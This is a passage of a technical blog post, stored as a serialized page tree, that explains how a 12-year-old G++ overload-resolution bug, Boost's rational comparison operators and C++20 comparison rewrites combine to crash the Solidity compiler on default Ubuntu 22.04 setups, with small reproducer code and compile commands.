a",{"type":21,"tag":198,"props":90220,"children":90221},{"style":211},[90222],{"type":27,"value":14850},{"type":21,"tag":198,"props":90224,"children":90225},{"style":249},[90226],{"type":27,"value":62053},{"type":21,"tag":198,"props":90228,"children":90229},{"style":249},[90230],{"type":27,"value":90231}," pure",{"type":21,"tag":198,"props":90233,"children":90234},{"style":640},[90235],{"type":27,"value":76375},{"type":21,"tag":198,"props":90237,"children":90238},{"style":211},[90239],{"type":27,"value":648},{"type":21,"tag":198,"props":90241,"children":90242},{"style":1966},[90243],{"type":27,"value":46926},{"type":21,"tag":198,"props":90245,"children":90246},{"style":211},[90247],{"type":27,"value":668},{"type":21,"tag":198,"props":90249,"children":90250},{"class":200,"line":302},[90251,90255,90259,90264,90268],{"type":21,"tag":198,"props":90252,"children":90253},{"style":640},[90254],{"type":27,"value":16547},{"type":21,"tag":198,"props":90256,"children":90257},{"style":2540},[90258],{"type":27,"value":5335},{"type":21,"tag":198,"props":90260,"children":90261},{"style":683},[90262],{"type":27,"value":90263}," **",{"type":21,"tag":198,"props":90265,"children":90266},{"style":2540},[90267],{"type":27,"value":8745},{"type":21,"tag":198,"props":90269,"children":90270},{"style":211},[90271],{"type":27,"value":1483},{"type":21,"tag":198,"props":90273,"children":90274},{"class":200,"line":323},[90275],{"type":21,"tag":198,"props":90276,"children":90277},{"style":211},[90278],{"type":27,"value":880},{"type":21,"tag":198,"props":90280,"children":90281},{"class":200,"line":344},[90282],{"type":21,"tag":198,"props":90283,"children":90284},{"style":211},[90285],{"type":27,"value":1120},{"type":21,"tag":30,"props":90287,"children":90288},{},[90289],{"type":27,"value":90290},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":21,"tag":30,"props":90292,"children":90293},{},[90294],{"type":27,"value":90295},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":21,"tag":30,"props":90297,"children":90298},{},[90299],{"type":27,"value":90300},"And yet, it crashes.",{"type":21,"tag":30,"props":90302,"children":90303},{},[90304],{"type":27,"value":90305},"Another minimal example?",{"type":21,"tag":187,"props":90307,"children":90309},{"code":90308,"language":5286,"meta":7,"className":5287,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n function a() public pure {\n uint256[1] data;\n }\n}\n",[90310],{"type":21,"tag":194,"props":90311,"children":90312},{"__ignoreMap":7},[90313,90320,90335,90342,90357,90384,90405,90412],{"type":21,"tag":198,"props":90314,"children":90315},{"class":200,"line":201},[90316],{"type":21,"tag":198,"props":90317,"children":90318},{"style":1233},[90319],{"type":27,"value":90163},{"type":21,"tag":198,"props":90321,"children":90322},{"class":200,"line":217},[90323,90327,90331],{"type":21,"tag":198,"props":90324,"children":90325},{"style":640},[90326],{"type":27,"value":90171},{"type":21,"tag":198,"props":90328,"children":90329},{"style":249},[90330],{"type":27,"value":90176},{"type":21,"tag":198,"props":90332,"children":90333},{"style":211},[90334],{"type":27,"value":90181},{"type":21,"tag":198,"props":90336,"children":90337},{"class":200,"line":236},[90338],{"type":21,"tag":198,"props":90339,"children":90340},{"emptyLinePlaceholder":16},[90341],{"type":27,"value":1283},{"type":21,"tag":198,"props":90343,"children":90344},{"class":200,"line":260},[90345,90349,90353],{"type":21,"tag":198,"props":90346,"children":90347},{"style":249},[90348],{"type":27,"value":90196},{"type":21,"tag":198,"props":90350,"children":90351},{"style":1966},[90352],{"type":27,"value":90201},{"type":21,"tag":198,"props":90354,"children":90355},{"style":211},[90356],{"type":27,"value":233},{"type":21,"tag":198,"props":90358,"children":90359},{"class":200,"line":281},[90360,90364,90368,90372,90376,90380],{"type":21,"tag":198,"props":90361,"children":90362},{"style":249},[90363],{"type":27,"value":90213},{"type":21,"tag":198,"props":90365,"children":90366},{"style":698},[90367],{"type":27,"value":90218},{"type":21,"tag":198,"props":90369,"children":90370},{"style":211},[90371],{"type":27,"value":14850},{"type":21,"tag":198,"props":90373,"children":90374},{"style":249},[90375],{"type":27,"value":62053},{"type":21,"tag":198,"props":90377,"children":90378},{"style":249},[90379],{"type":27,"value":90231},{"type":21,"tag":198,"props":90381,"children":90382},{"style":211},[90383],{"type":27,"value":233},{"type":21,"tag":198,"props":90385,"children":90386},{"class":200,"line":302},[90387,90392,90396,90400],{"type":21,"tag":198,"props":90388,"children":90389},{"style":1966},[90390],{"type":27,"value":90391}," uint256",{"type":21,"tag":198,"props":90393,"children":90394},{"style":211},[90395],{"type":27,"value":2051},{"type":21,"tag":198,"props":90397,"children":90398},{"style":2540},[90399],{"type":27,"value":134},{"type":21,"tag":198,"props":90401,"children":90402},{"style":211},[90403],{"type":27,"value":90404},"] data;\n",{"type":21,"tag":198,"props":90406,"children":90407},{"class":200,"line":323},[90408],{"type":21,"tag":198,"props":90409,"children":90410},{"style":211},[90411],{"type":27,"value":880},{"type":21,"tag":198,"props":90413,"children":90414},{"class":200,"line":344},[90415],{"type":21,"tag":198,"props":90416,"children":90417},{"style":211},[90418],{"type":27,"value":1120},{"type":21,"tag":30,"props":90420,"children":90421},{},[90422],{"type":27,"value":90423},"Still crashes.",{"type":21,"tag":30,"props":90425,"children":90426},{},[90427],{"type":27,"value":90428},"So what’s going on?",{"type":21,"tag":30,"props":90430,"children":90431},{},[90432],{"type":27,"value":90433},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":21,"tag":187,"props":90435,"children":90437},{"code":90436,"language":29914,"meta":7,"className":29912,"style":7},"if (*lengthValue == 0) { ... }\n",[90438],{"type":21,"tag":194,"props":90439,"children":90440},{"__ignoreMap":7},[90441],{"type":21,"tag":198,"props":90442,"children":90443},{"class":200,"line":201},[90444,90448,90452,90456,90461,90465,90469],{"type":21,"tag":198,"props":90445,"children":90446},{"style":640},[90447],{"type":27,"value":16382},{"type":21,"tag":198,"props":90449,"children":90450},{"style":211},[90451],{"type":27,"value":648},{"type":21,"tag":198,"props":90453,"children":90454},{"style":683},[90455],{"type":27,"value":5383},{"type":21,"tag":198,"props":90457,"children":90458},{"style":211},[90459],{"type":27,"value":90460},"lengthValue ",{"type":21,"tag":198,"props":90462,"children":90463},{"style":683},[90464],{"type":27,"value":9386},{"type":21,"tag":198,"props":90466,"children":90467},{"style":2540},[90468],{"type":27,"value":3855},{"type":21,"tag":198,"props":90470,"children":90471},{"style":211},[90472],{"type":27,"value":90473},") { ... }\n",{"type":21,"tag":30,"props":90475,"children":90476},{},[90477,90479,90485],{"type":27,"value":90478},"That single comparison — a ",{"type":21,"tag":194,"props":90480,"children":90482},{"className":90481},[],[90483],{"type":27,"value":90484},"boost::rational",{"type":27,"value":90486}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":21,"tag":30,"props":90488,"children":90489},{},[90490],{"type":27,"value":90491},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":21,"tag":138,"props":90493,"children":90494},{},[90495,90500,90505],{"type":21,"tag":75,"props":90496,"children":90497},{},[90498],{"type":27,"value":90499},"A 12-year-old overload resolution bug in G++",{"type":21,"tag":75,"props":90501,"children":90502},{},[90503],{"type":27,"value":90504},"An outdated symmetric comparison pattern in Boost",{"type":21,"tag":75,"props":90506,"children":90507},{},[90508],{"type":27,"value":90509},"A subtle but impactful rewrite rule in C++20",{"type":21,"tag":30,"props":90511,"children":90512},{},[90513],{"type":27,"value":90514},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":21,"tag":19590,"props":90516,"children":90517},{},[],{"type":21,"tag":22,"props":90519,"children":90521},{"id":90520},"background-the-setup",[90522],{"type":27,"value":90523},"Background: The Setup",{"type":21,"tag":30,"props":90525,"children":90526},{},[90527,90529,90536],{"type":27,"value":90528},"If you follow the ",{"type":21,"tag":34,"props":90530,"children":90533},{"href":90531,"rel":90532},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[38],[90534],{"type":27,"value":90535},"Solidity build documentation (v0.8.30)",{"type":27,"value":90537},", you'll see it recommends:",{"type":21,"tag":138,"props":90539,"children":90540},{},[90541,90546],{"type":21,"tag":75,"props":90542,"children":90543},{},[90544],{"type":27,"value":90545},"Boost ≥ 1.67",{"type":21,"tag":75,"props":90547,"children":90548},{},[90549],{"type":27,"value":90550},"GCC ≥ 11",{"type":21,"tag":30,"props":90552,"children":90553},{},[90554],{"type":27,"value":90555},"Ubuntu 22.04, for example, ships with:",{"type":21,"tag":138,"props":90557,"children":90558},{},[90559,90564],{"type":21,"tag":75,"props":90560,"children":90561},{},[90562],{"type":27,"value":90563},"G++ 11.4.0",{"type":21,"tag":75,"props":90565,"children":90566},{},[90567],{"type":27,"value":90568},"Boost 1.74.0",{"type":21,"tag":30,"props":90570,"children":90571},{},[90572],{"type":27,"value":90573},"So far, so good.",{"type":21,"tag":30,"props":90575,"children":90576},{},[90577,90579,90584],{"type":27,"value":90578},"However, Solidity enabled ",{"type":21,"tag":6137,"props":90580,"children":90581},{},[90582],{"type":27,"value":90583},"C++20",{"type":27,"value":90585}," in January 2025:",{"type":21,"tag":3741,"props":90587,"children":90588},{},[90589],{"type":21,"tag":30,"props":90590,"children":90591},{},[90592],{"type":21,"tag":34,"props":90593,"children":90596},{"href":90594,"rel":90595},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[38],[90597],{"type":27,"value":90598},"Enable C++20 in Solidity",{"type":21,"tag":30,"props":90600,"children":90601},{},[90602],{"type":27,"value":90603},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":21,"tag":19590,"props":90605,"children":90606},{},[],{"type":21,"tag":22,"props":90608,"children":90610},{"id":90609},"part-i-a-12-year-old-g-bug-in-overload-resolution",[90611],{"type":27,"value":90612},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":21,"tag":59,"props":90614,"children":90616},{"id":90615},"whats-overload-resolution",[90617],{"type":27,"value":90618},"What’s Overload Resolution?",{"type":21,"tag":30,"props":90620,"children":90621},{},[90622,90624,90630,90632,90638,90640,90645,90647,90652,90654,90660,90662,90667,90668,90674],{"type":27,"value":90623},"In C++, when you write an expression like ",{"type":21,"tag":194,"props":90625,"children":90627},{"className":90626},[],[90628],{"type":27,"value":90629},"a == b",{"type":27,"value":90631},", the compiler chooses among available ",{"type":21,"tag":194,"props":90633,"children":90635},{"className":90634},[],[90636],{"type":27,"value":90637},"operator==",{"type":27,"value":90639}," implementations by comparing their ",{"type":21,"tag":6137,"props":90641,"children":90642},{},[90643],{"type":27,"value":90644},"match quality",{"type":27,"value":90646},". A ",{"type":21,"tag":6137,"props":90648,"children":90649},{},[90650],{"type":27,"value":90651},"member function",{"type":27,"value":90653}," like ",{"type":21,"tag":194,"props":90655,"children":90657},{"className":90656},[],[90658],{"type":27,"value":90659},"a.operator==(b)",{"type":27,"value":90661}," usually has higher priority than a ",{"type":21,"tag":6137,"props":90663,"children":90664},{},[90665],{"type":27,"value":90666},"non-member function",{"type":27,"value":90653},{"type":21,"tag":194,"props":90669,"children":90671},{"className":90670},[],[90672],{"type":27,"value":90673},"operator==(a, b)",{"type":27,"value":90675}," — unless the types differ too much or are ambiguous.",{"type":21,"tag":30,"props":90677,"children":90678},{},[90679],{"type":27,"value":90680},"That’s the rule. But G++ didn’t always follow it.",{"type":21,"tag":59,"props":90682,"children":90684},{"id":90683},"the-bug",[90685],{"type":27,"value":90686},"The Bug",{"type":21,"tag":30,"props":90688,"children":90689},{},[90690,90692,90699],{"type":27,"value":90691},"In 2012, a bug was filed: ",{"type":21,"tag":34,"props":90693,"children":90696},{"href":90694,"rel":90695},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[38],[90697],{"type":27,"value":90698},"GCC Bug 53499 – overload resolution favors non-member function",{"type":27,"value":90700},". The issue? In expressions where:",{"type":21,"tag":138,"props":90702,"children":90703},{},[90704,90724],{"type":21,"tag":75,"props":90705,"children":90706},{},[90707,90709,90715,90717,90722],{"type":27,"value":90708},"A class ",{"type":21,"tag":194,"props":90710,"children":90712},{"className":90711},[],[90713],{"type":27,"value":90714},"rational\u003CT>",{"type":27,"value":90716}," has a templated ",{"type":21,"tag":194,"props":90718,"children":90720},{"className":90719},[],[90721],{"type":27,"value":90637},{"type":27,"value":90723}," member function",{"type":21,"tag":75,"props":90725,"children":90726},{},[90727,90729,90735],{"type":27,"value":90728},"There's also a more generic free ",{"type":21,"tag":194,"props":90730,"children":90732},{"className":90731},[],[90733],{"type":27,"value":90734},"operator==(rational\u003CT>, U)",{"type":27,"value":2000},{"type":21,"tag":30,"props":90737,"children":90738},{},[90739],{"type":21,"tag":6137,"props":90740,"children":90741},{},[90742],{"type":27,"value":90743},"Clang correctly chooses the member function.",{"type":21,"tag":30,"props":90745,"children":90746},{},[90747],{"type":21,"tag":6137,"props":90748,"children":90749},{},[90750],{"type":27,"value":90751},"G++ (before v14) chooses the non-member function.",{"type":21,"tag":30,"props":90753,"children":90754},{},[90755,90757,90762,90764,90771],{"type":27,"value":90756},"Why? Because G++ mishandles ",{"type":21,"tag":6137,"props":90758,"children":90759},{},[90760],{"type":27,"value":90761},"templated conversion + non-exact match",{"type":27,"value":90763},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":21,"tag":34,"props":90765,"children":90768},{"href":90766,"rel":90767},"https://cplusplus.github.io/CWG/issues/532.html",[38],[90769],{"type":27,"value":90770},"CWG532: Member/nonmember operator template partial ordering",{"type":27,"value":658},{"type":21,"tag":59,"props":90773,"children":90775},{"id":90774},"a-minimal-reproducer",[90776],{"type":27,"value":90777},"A Minimal Reproducer",{"type":21,"tag":30,"props":90779,"children":90780},{},[90781],{"type":27,"value":90782},"Let’s see this in action:",{"type":21,"tag":187,"props":90784,"children":90786},{"code":90785,"language":29914,"meta":7,"className":29912,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n template \u003Cclass T>\n bool operator==(const T& i) const {\n std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n return true;\n }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n return false;\n}\n\nint main() {\n rational\u003Cint> r;\n return r == 0;\n}\n",[90787],{"type":21,"tag":194,"props":90788,"children":90789},{"__ignoreMap":7},[90790,90803,90810,90835,90851,90859,90883,90928,90956,90971,90978,90985,90992,91028,91097,91122,91137,91144,91151,91167,91192,91216],{"type":21,"tag":198,"props":90791,"children":90792},{"class":200,"line":201},[90793,90798],{"type":21,"tag":198,"props":90794,"children":90795},{"style":640},[90796],{"type":27,"value":90797},"#include",{"type":21,"tag":198,"props":90799,"children":90800},{"style":205},[90801],{"type":27,"value":90802}," \u003Ciostream>\n",{"type":21,"tag":198,"props":90804,"children":90805},{"class":200,"line":217},[90806],{"type":21,"tag":198,"props":90807,"children":90808},{"emptyLinePlaceholder":16},[90809],{"type":27,"value":1283},{"type":21,"tag":198,"props":90811,"children":90812},{"class":200,"line":236},[90813,90817,90821,90826,90831],{"type":21,"tag":198,"props":90814,"children":90815},{"style":249},[90816],{"type":27,"value":66595},{"type":21,"tag":198,"props":90818,"children":90819},{"style":211},[90820],{"type":27,"value":9529},{"type":21,"tag":198,"props":90822,"children":90823},{"style":249},[90824],{"type":27,"value":90825},"typename",{"type":21,"tag":198,"props":90827,"children":90828},{"style":1966},[90829],{"type":27,"value":90830}," IntType",{"type":21,"tag":198,"props":90832,"children":90833},{"style":211},[90834],{"type":27,"value":3203},{"type":21,"tag":198,"props":90836,"children":90837},{"class":200,"line":260},[90838,90842,90847],{"type":21,"tag":198,"props":90839,"children":90840},{"style":249},[90841],{"type":27,"value":70790},{"type":21,"tag":198,"props":90843,"children":90844},{"style":1966},[90845],{"type":27,"value":90846}," rational",{"type":21,"tag":198,"props":90848,"children":90849},{"style":211},[90850],{"type":27,"value":233},{"type":21,"tag":198,"props":90852,"children":90853},{"class":200,"line":281},[90854],{"type":21,"tag":198,"props":90855,"children":90856},{"style":249},[90857],{"type":27,"value":90858},"public:\n",{"type":21,"tag":198,"props":90860,"children":90861},{"class":200,"line":302},[90862,90867,90871,90875,90879],{"type":21,"tag":198,"props":90863,"children":90864},{"style":249},[90865],{"type":27,"value":90866}," template",{"type":21,"tag":198,"props":90868,"children":90869},{"style":211},[90870],{"type":27,"value":9529},{"type":21,"tag":198,"props":90872,"children":90873},{"style":249},[90874],{"type":27,"value":70790},{"type":21,"tag":198,"props":90876,"children":90877},{"style":1966},[90878],{"type":27,"value":6731},{"type":21,"tag":198,"props":90880,"children":90881},{"style":211},[90882],{"type":27,"value":3203},{"type":21,"tag":198,"props":90884,"children":90885},{"class":200,"line":323},[90886,90890,90895,90900,90904,90908,90912,90916,90920,90924],{"type":21,"tag":198,"props":90887,"children":90888},{"style":249},[90889],{"type":27,"value":47231},{"type":21,"tag":198,"props":90891,"children":90892},{"style":249},[90893],{"type":27,"value":90894}," operator",{"type":21,"tag":198,"props":90896,"children":90897},{"style":211},[90898],{"type":27,"value":90899},"==(",{"type":21,"tag":198,"props":90901,"children":90902},{"style":249},[90903],{"type":27,"value":2648},{"type":21,"tag":198,"props":90905,"children":90906},{"style":1966},[90907],{"type":27,"value":6731},{"type":21,"tag":198,"props":90909,"children":90910},{"style":249},[90911],{"type":27,"value":3917},{"type":21,"tag":198,"props":90913,"children":90914},{"style":226},[90915],{"type":27,"value":4203},{"type":21,"tag":198,"props":90917,"children":90918},{"style":211},[90919],{"type":27,"value":1541},{"type":21,"tag":198,"props":90921,"children":90922},{"style":249},[90923],{"type":27,"value":2648},{"type":21,"tag":198,"props":90925,"children":90926},{"style":211},[90927],{"type":27,"value":233},{"type":21,"tag":198,"props":90929,"children":90930},{"class":200,"line":344},[90931,90936,90941,90946,90951],{"type":21,"tag":198,"props":90932,"children":90933},{"style":211},[90934],{"type":27,"value":90935}," std::cout ",{"type":21,"tag":198,"props":90937,"children":90938},{"style":683},[90939],{"type":27,"value":90940},"\u003C\u003C",{"type":21,"tag":198,"props":90942,"children":90943},{"style":205},[90944],{"type":27,"value":90945}," \"clang++ resolved member\"",{"type":21,"tag":198,"props":90947,"children":90948},{"style":683},[90949],{"type":27,"value":90950}," \u003C\u003C",{"type":21,"tag":198,"props":90952,"children":90953},{"style":211},[90954],{"type":27,"value":90955}," std::endl;\n",{"type":21,"tag":198,"props":90957,"children":90958},{"class":200,"line":365},[90959,90963,90967],{"type":21,"tag":198,"props":90960,"children":90961},{"style":640},[90962],{"type":27,"value":16547},{"type":21,"tag":198,"props":90964,"children":90965},{"style":249},[90966],{"type":27,"value":252},{"type":21,"tag":198,"props":90968,"children":90969},{"style":211},[90970],{"type":27,"value":1483},{"type":21,"tag":198,"props":90972,"children":90973},{"class":200,"line":386},[90974],{"type":21,"tag":198,"props":90975,"children":90976},{"style":211},[90977],{"type":27,"value":880},{"type":21,"tag":198,"props":90979,"children":90980},{"class":200,"line":408},[90981],{"type":21,"tag":198,"props":90982,"children":90983},{"style":211},[90984],{"type":27,"value":2357},{"type":21,"tag":198,"props":90986,"children":90987},{"class":200,"line":429},[90988],{"type":21,"tag":198,"props":90989,"children":90990},{"emptyLinePlaceholder":16},[90991],{"type":27,"value":1283},{"type":21,"tag":198,"props":90993,"children":90994},{"class":200,"line":450},[90995,90999,91003,91007,91012,91016,91020,91024],{"type":21,"tag":198,"props":90996,"children":90997},{"style":249},[90998],{"type":27,"value":66595},{"type":21,"tag":198,"props":91000,"children":91001},{"style":211},[91002],{"type":27,"value":9529},{"type":21,"tag":198,"props":91004,"children":91005},{"style":249},[91006],{"type":27,"value":70790},{"type":21,"tag":198,"props":91008,"children":91009},{"style":1966},[91010],{"type":27,"value":91011}," Arg",{"type":21,"tag":198,"props":91013,"children":91014},{"style":211},[91015],{"type":27,"value":828},{"type":21,"tag":198,"props":91017,"children":91018},{"style":249},[91019],{"type":27,"value":70790},{"type":21,"tag":198,"props":91021,"children":91022},{"style":1966},[91023],{"type":27,"value":90830},{"type":21,"tag":198,"props":91025,"children":91026},{"style":211},[91027],{"type":27,"value":3203},{"type":21,"tag":198,"props":91029,"children":91030},{"class":200,"line":468},[91031,91035,91039,91043,91047,91051,91055,91060,91064,91068,91072,91076,91080,91084,91088,91093],{"type":21,"tag":198,"props":91032,"children":91033},{"style":249},[91034],{"type":27,"value":30486},{"type":21,"tag":198,"props":91036,"children":91037},{"style":249},[91038],{"type":27,"value":90894},{"type":21,"tag":198,"props":91040,"children":91041},{"style":211},[91042],{"type":27,"value":90899},{"type":21,"tag":198,"props":91044,"children":91045},{"style":249},[91046],{"type":27,"value":2648},{"type":21,"tag":198,"props":91048,"children":91049},{"style":1966},[91050],{"type":27,"value":90846},{"type":21,"tag":198,"props":91052,"children":91053},{"style":211},[91054],{"type":27,"value":3159},{"type":21,"tag":198,"props":91056,"children":91057},{"style":1966},[91058],{"type":27,"value":91059},"IntType",{"type":21,"tag":198,"props":91061,"children":91062},{"style":211},[91063],{"type":27,"value":11270},{"type":21,"tag":198,"props":91065,"children":91066},{"style":249},[91067],{"type":27,"value":3917},{"type":21,"tag":198,"props":91069,"children":91070},{"style":226},[91071],{"type":27,"value":90218},{"type":21,"tag":198,"props":91073,"children":91074},{"style":211},[91075],{"type":27,"value":828},{"type":21,"tag":198,"props":91077,"children":91078},{"style":249},[91079],{"type":27,"value":2648},{"type":21,"tag":198,"props":91081,"children":91082},{"style":1966},[91083],{"type":27,"value":91011},{"type":21,"tag":198,"props":91085,"children":91086},{"style":249},[91087],{"type":27,"value":3917},{"type":21,"tag":198,"props":91089,"children":91090},{"style":226},[91091],{"type":27,"value":91092}," b",{"type":21,"tag":198,"props":91094,"children":91095},{"style":211},[91096],{"type":27,"value":668},{"type":21,"tag":198,"props":91098,"children":91099},{"class":200,"line":477},[91100,91105,91109,91114,91118],{"type":21,"tag":198,"props":91101,"children":91102},{"style":211},[91103],{"type":27,"value":91104}," std::cout ",{"type":21,"tag":198,"props":91106,"children":91107},{"style":683},[91108],{"type":27,"value":90940},{"type":21,"tag":198,"props":91110,"children":91111},{"style":205},[91112],{"type":27,"value":91113}," \"g++ \u003C14 resolved non-member\"",{"type":21,"tag":198,"props":91115,"children":91116},{"style":683},[91117],{"type":27,"value":90950},{"type":21,"tag":198,"props":91119,"children":91120},{"style":211},[91121],{"type":27,"value":90955},{"type":21,"tag":198,"props":91123,"children":91124},{"class":200,"line":494},[91125,91129,91133],{"type":21,"tag":198,"props":91126,"children":91127},{"style":640},[91128],{"type":27,"value":1478},{"type":21,"tag":198,"props":91130,"children":91131},{"style":249},[91132],{"type":27,"value":9868},{"type":21,"tag":198,"props":91134,"children":91135},{"style":211},[91136],{"type":27,"value":1483},{"type":21,"tag":198,"props":91138,"children":91139},{"class":200,"line":515},[91140],{"type":21,"tag":198,"props":91141,"children":91142},{"style":211},[91143],{"type":27,"value":1120},{"type":21,"tag":198,"props":91145,"children":91146},{"class":200,"line":4484},[91147],{"type":21,"tag":198,"props":91148,"children":91149},{"emptyLinePlaceholder":16},[91150],{"type":27,"value":1283},{"type":21,"tag":198,"props":91152,"children":91153},{"class":200,"line":4493},[91154,91158,91163],{"type":21,"tag":198,"props":91155,"children":91156},{"style":249},[91157],{"type":27,"value":19841},{"type":21,"tag":198,"props":91159,"children":91160},{"style":698},[91161],{"type":27,"value":91162}," main",{"type":21,"tag":198,"props":91164,"children":91165},{"style":211},[91166],{"type":27,"value":16539},{"type":21,"tag":198,"props":91168,"children":91169},{"class":200,"line":4561},[91170,91175,91179,91183,91187],{"type":21,"tag":198,"props":91171,"children":91172},{"style":211},[91173],{"type":27,"value":91174}," rational",{"type":21,"tag":198,"props":91176,"children":91177},{"style":683},[91178],{"type":27,"value":3159},{"type":21,"tag":198,"props":91180,"children":91181},{"style":249},[91182],{"type":27,"value":19841},{"type":21,"tag":198,"props":91184,"children":91185},{"style":683},[91186],{"type":27,"value":11270},{"type":21,"tag":198,"props":91188,"children":91189},{"style":211},[91190],{"type":27,"value":91191}," r;\n",{"type":21,"tag":198,"props":91193,"children":91194},{"class":200,"line":4569},[91195,91199,91204,91208,91212],{"type":21,"tag":198,"props":91196,"children":91197},{"style":640},[91198],{"type":27,"value":1478},{"type":21,"tag":198,"props":91200,"children":91201},{"style":211},[91202],{"type":27,"value":91203}," r ",{"type":21,"tag":198,"props":91205,"children":91206},{"style":683},[91207],{"type":27,"value":9386},{"type":21,"tag":198,"props":91209,"children":91210},{"style":2540},[91211],{"type":27,"value":3855},{"type":21,"tag":198,"props":91213,"children":91214},{"style":211},[91215],{"type":27,"value":1483},{"type":21,"tag":198,"props":91217,"children":91218},{"class":200,"line":4599},[91219],{"type":21,"tag":198,"props":91220,"children":91221},{"style":211},[91222],{"type":27,"value":1120},{"type":21,"tag":138,"props":91224,"children":91225},{},[91226],{"type":21,"tag":75,"props":91227,"children":91228},{},[91229],{"type":27,"value":91230},"Compile with g++\u003C14:",{"type":21,"tag":187,"props":91232,"children":91234},{"code":91233,"language":5054,"meta":7,"className":5055,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[91235],{"type":21,"tag":194,"props":91236,"children":91237},{"__ignoreMap":7},[91238],{"type":21,"tag":198,"props":91239,"children":91240},{"class":200,"line":201},[91241,91246,91251,91256,91261,91265,91270],{"type":21,"tag":198,"props":91242,"children":91243},{"style":698},[91244],{"type":27,"value":91245},"g++",{"type":21,"tag":198,"props":91247,"children":91248},{"style":205},[91249],{"type":27,"value":91250}," -std=c++17",{"type":21,"tag":198,"props":91252,"children":91253},{"style":205},[91254],{"type":27,"value":91255}," main.cpp",{"type":21,"tag":198,"props":91257,"children":91258},{"style":205},[91259],{"type":27,"value":91260}," -o",{"type":21,"tag":198,"props":91262,"children":91263},{"style":205},[91264],{"type":27,"value":31477},{"type":21,"tag":198,"props":91266,"children":91267},{"style":211},[91268],{"type":27,"value":91269}," && ",{"type":21,"tag":198,"props":91271,"children":91272},{"style":698},[91273],{"type":27,"value":91274},"./test\n",{"type":21,"tag":30,"props":91276,"children":91277},{},[91278],{"type":27,"value":91279},"Output (on g++ 11.4):",{"type":21,"tag":187,"props":91281,"children":91283},{"code":91282},"g++ \u003C14 resolved non-member\n",[91284],{"type":21,"tag":194,"props":91285,"children":91286},{"__ignoreMap":7},[91287],{"type":27,"value":91282},{"type":21,"tag":138,"props":91289,"children":91290},{},[91291],{"type":21,"tag":75,"props":91292,"children":91293},{},[91294],{"type":27,"value":91295},"Compile with clang++:",{"type":21,"tag":187,"props":91297,"children":91299},{"code":91298,"language":5054,"meta":7,"className":5055,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[91300],{"type":21,"tag":194,"props":91301,"children":91302},{"__ignoreMap":7},[91303],{"type":21,"tag":198,"props":91304,"children":91305},{"class":200,"line":201},[91306,91311,91315,91319,91323,91327,91331],{"type":21,"tag":198,"props":91307,"children":91308},{"style":698},[91309],{"type":27,"value":91310},"clang++",{"type":21,"tag":198,"props":91312,"children":91313},{"style":205},[91314],{"type":27,"value":91250},{"type":21,"tag":198,"props":91316,"children":91317},{"style":205},[91318],{"type":27,"value":91255},{"type":21,"tag":198,"props":91320,"children":91321},{"style":205},[91322],{"type":27,"value":91260},{"type":21,"tag":198,"props":91324,"children":91325},{"style":205},[91326],{"type":27,"value":31477},{"type":21,"tag":198,"props":91328,"children":91329},{"style":211},[91330],{"type":27,"value":91269},{"type":21,"tag":198,"props":91332,"children":91333},{"style":698},[91334],{"type":27,"value":91274},{"type":21,"tag":30,"props":91336,"children":91337},{},[91338],{"type":27,"value":91339},"Output:",{"type":21,"tag":187,"props":91341,"children":91343},{"code":91342},"clang++ resolved member\n",[91344],{"type":21,"tag":194,"props":91345,"children":91346},{"__ignoreMap":7},[91347],{"type":27,"value":91342},{"type":21,"tag":30,"props":91349,"children":91350},{},[91351],{"type":27,"value":91352},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":21,"tag":19590,"props":91354,"children":91355},{},[],{"type":21,"tag":22,"props":91357,"children":91359},{"id":91358},"part-ii-c20s-symmetric-comparison-feature",[91360],{"type":27,"value":91361},"Part II: C++20’s Symmetric Comparison Feature",{"type":21,"tag":59,"props":91363,"children":91365},{"id":91364},"what-changed-in-c20",[91366],{"type":27,"value":91367},"What Changed in C++20?",{"type":21,"tag":30,"props":91369,"children":91370},{},[91371,91373,91386,91387,91392],{"type":27,"value":91372},"C++20 introduced the ",{"type":21,"tag":34,"props":91374,"children":91377},{"href":91375,"rel":91376},"https://en.cppreference.com/w/cpp/language/operator_comparison",[38],[91378,91380],{"type":27,"value":91379},"spaceship operator ",{"type":21,"tag":194,"props":91381,"children":91383},{"className":91382},[],[91384],{"type":27,"value":91385},"\u003C=>",{"type":27,"value":11801},{"type":21,"tag":6137,"props":91388,"children":91389},{},[91390],{"type":27,"value":91391},"defaulted comparison rewrites",{"type":27,"value":658},{"type":21,"tag":30,"props":91394,"children":91395},{},[91396,91398,91403],{"type":27,"value":91397},"When you define a two-argument ",{"type":21,"tag":194,"props":91399,"children":91401},{"className":91400},[],[91402],{"type":27,"value":90637},{"type":27,"value":91404},", C++20 may implicitly define the \"reversed\" version:",{"type":21,"tag":138,"props":91406,"children":91407},{},[91408,91419],{"type":21,"tag":75,"props":91409,"children":91410},{},[91411,91413],{"type":27,"value":91412},"If you define: ",{"type":21,"tag":194,"props":91414,"children":91416},{"className":91415},[],[91417],{"type":27,"value":91418},"bool operator==(T1, 